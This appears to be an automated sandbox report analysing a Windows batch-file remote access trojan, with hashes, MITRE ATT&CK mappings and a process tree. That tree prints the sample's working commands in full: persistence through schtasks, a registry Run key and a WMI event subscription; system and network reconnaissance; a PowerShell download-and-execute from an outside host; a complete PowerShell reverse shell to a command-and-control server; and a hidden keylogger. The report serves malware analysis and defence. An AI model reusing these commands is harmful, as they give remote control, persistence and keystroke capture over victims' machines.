6fb8043e937f464332a5cb9a12422b90511c3937514af733e2bcc3aae7b62349

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_179142_014500.bat
Size 4KB
Sample260529-bxec7af19v
SHA256 6fb8043e937f464332a5cb9a12422b90511c3937514af733e2bcc3aae7b62349
MD5 58caaaaa728676f6e8ff86d98fb184d4
SHA1 ce33bd3459519533649b6f37450f1322a2df1d38
SHA512 617d2be657d729e564c34e928b931bb4b2d3433da57a04fb3b868fcbfb7a445bfc1150d5df65a2c4e60ca7bd9a43fcd99c4e069dfd67b1bcb716c2153d6bb293
SSDEEP 96:HIJ2WY3sg42EeIC766mt6rl5g0fcaX/uUwpYzdowmgR2/0iFgZk8mvlo1UC3:HyY3r42EeIi6ijTv+p6rmuiFgkHlvC3
TLSH
T12BA108139767B13099742604ED36288C075CD2FB2319C6CEAB08CDD2598EF075A786EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_179142.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3424	powershell.exe
4388	powershell.exe
3344	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_179142 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_179142.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3664	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4892	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2372	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5040	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3424	powershell.exe
3424	powershell.exe
4388	powershell.exe
4388	powershell.exe
3344	powershell.exe
3344	powershell.exe
3344	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1080	WMIC.exe
Token: SeSecurityPrivilege	1080	WMIC.exe
Token: SeTakeOwnershipPrivilege	1080	WMIC.exe
Token: SeLoadDriverPrivilege	1080	WMIC.exe
Token: SeSystemProfilePrivilege	1080	WMIC.exe
Token: SeSystemtimePrivilege	1080	WMIC.exe
Token: SeProfSingleProcessPrivilege	1080	WMIC.exe
Token: SeIncBasePriorityPrivilege	1080	WMIC.exe
Token: SeCreatePagefilePrivilege	1080	WMIC.exe
Token: SeBackupPrivilege	1080	WMIC.exe
Token: SeRestorePrivilege	1080	WMIC.exe
Token: SeShutdownPrivilege	1080	WMIC.exe
Token: SeDebugPrivilege	1080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1080	WMIC.exe
Token: SeRemoteShutdownPrivilege	1080	WMIC.exe
Token: SeUndockPrivilege	1080	WMIC.exe
Token: SeManageVolumePrivilege	1080	WMIC.exe
Token: 33	1080	WMIC.exe
Token: 34	1080	WMIC.exe
Token: 35	1080	WMIC.exe
Token: 36	1080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1080	WMIC.exe
Token: SeSecurityPrivilege	1080	WMIC.exe
Token: SeTakeOwnershipPrivilege	1080	WMIC.exe
Token: SeLoadDriverPrivilege	1080	WMIC.exe
Token: SeSystemProfilePrivilege	1080	WMIC.exe
Token: SeSystemtimePrivilege	1080	WMIC.exe
Token: SeProfSingleProcessPrivilege	1080	WMIC.exe
Token: SeIncBasePriorityPrivilege	1080	WMIC.exe
Token: SeCreatePagefilePrivilege	1080	WMIC.exe
Token: SeBackupPrivilege	1080	WMIC.exe
Token: SeRestorePrivilege	1080	WMIC.exe
Token: SeShutdownPrivilege	1080	WMIC.exe
Token: SeDebugPrivilege	1080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1080	WMIC.exe
Token: SeRemoteShutdownPrivilege	1080	WMIC.exe
Token: SeUndockPrivilege	1080	WMIC.exe
Token: SeManageVolumePrivilege	1080	WMIC.exe
Token: 33	1080	WMIC.exe
Token: 34	1080	WMIC.exe
Token: 35	1080	WMIC.exe
Token: 36	1080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1840	WMIC.exe
Token: SeSecurityPrivilege	1840	WMIC.exe
Token: SeTakeOwnershipPrivilege	1840	WMIC.exe
Token: SeLoadDriverPrivilege	1840	WMIC.exe
Token: SeSystemProfilePrivilege	1840	WMIC.exe
Token: SeSystemtimePrivilege	1840	WMIC.exe
Token: SeProfSingleProcessPrivilege	1840	WMIC.exe
Token: SeIncBasePriorityPrivilege	1840	WMIC.exe
Token: SeCreatePagefilePrivilege	1840	WMIC.exe
Token: SeBackupPrivilege	1840	WMIC.exe
Token: SeRestorePrivilege	1840	WMIC.exe
Token: SeShutdownPrivilege	1840	WMIC.exe
Token: SeDebugPrivilege	1840	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1840	WMIC.exe
Token: SeRemoteShutdownPrivilege	1840	WMIC.exe
Token: SeUndockPrivilege	1840	WMIC.exe
Token: SeManageVolumePrivilege	1840	WMIC.exe
Token: 33	1840	WMIC.exe
Token: 34	1840	WMIC.exe
Token: 35	1840	WMIC.exe
Token: 36	1840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1840	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 5040	2284	cmd.exe	88
PID 2284 wrote to memory of 2372	2284	cmd.exe	89
PID 2284 wrote to memory of 1080	2284	cmd.exe	90
PID 2284 wrote to memory of 1840	2284	cmd.exe	91
PID 2284 wrote to memory of 4556	2284	cmd.exe	92
PID 2284 wrote to memory of 4892	2284	cmd.exe	95
PID 2284 wrote to memory of 3664	2284	cmd.exe	103
PID 2284 wrote to memory of 3424	2284	cmd.exe	104
PID 2284 wrote to memory of 4388	2284	cmd.exe	107
PID 2284 wrote to memory of 3344	2284	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_179142_014500.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_179142" /tr "C:\Users\Admin\AppData\Local\Temp\_179142.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5040
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_179142" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_179142.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2372
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_179142", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1080
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_179142", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_179142.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1840
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_179142.txt
  2⤵
  PID:4556
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4892
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_179142.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5d244fb0971a3f14c06fc58fbe09d63284b550d9485858e40111ea4d57b7cdb2
MD5 6c83e1abc08861c4d0259f870565e8ed
SHA1 c5385ab9acf220e90a04c9b1c6d847dbc26272e6
SHA512 1c76c5f33784f035070356839a906a83a81125880b166f4931722a76237cb0803e6e4ba43ebcecab334fc8f9082222a0852d0e2c3e365424415b74c0e5722520
TLSH
T15B117A27F39CC921CC96153A409D9C1172B683D741AEDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bdf7b694e395450108e7d79ea6b7d14323ba10a91b6157d637d1e03b9ce8b9b1
MD5 4d18a024ae042f3fefa037024653c4e3
SHA1 40bcdd726bc42cb72af66d7f6c5664af54536b2f
SHA512 80567b902ba681a9b5877f93d16b068155b0de43f3f56293fa94a25d0cd035c0747a6e3c891da126de9e198f104ea7ac32e7ef7472eb752aa8a563d1f00b5994
TLSH
T120115727B39C89A1CC96153A409D9C1172B683DB809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r5f24zb3.5wt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r5f24zb3.5wt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3424-3-0x0000020C77C40000-0x0000020C77C62000-memory.dmp

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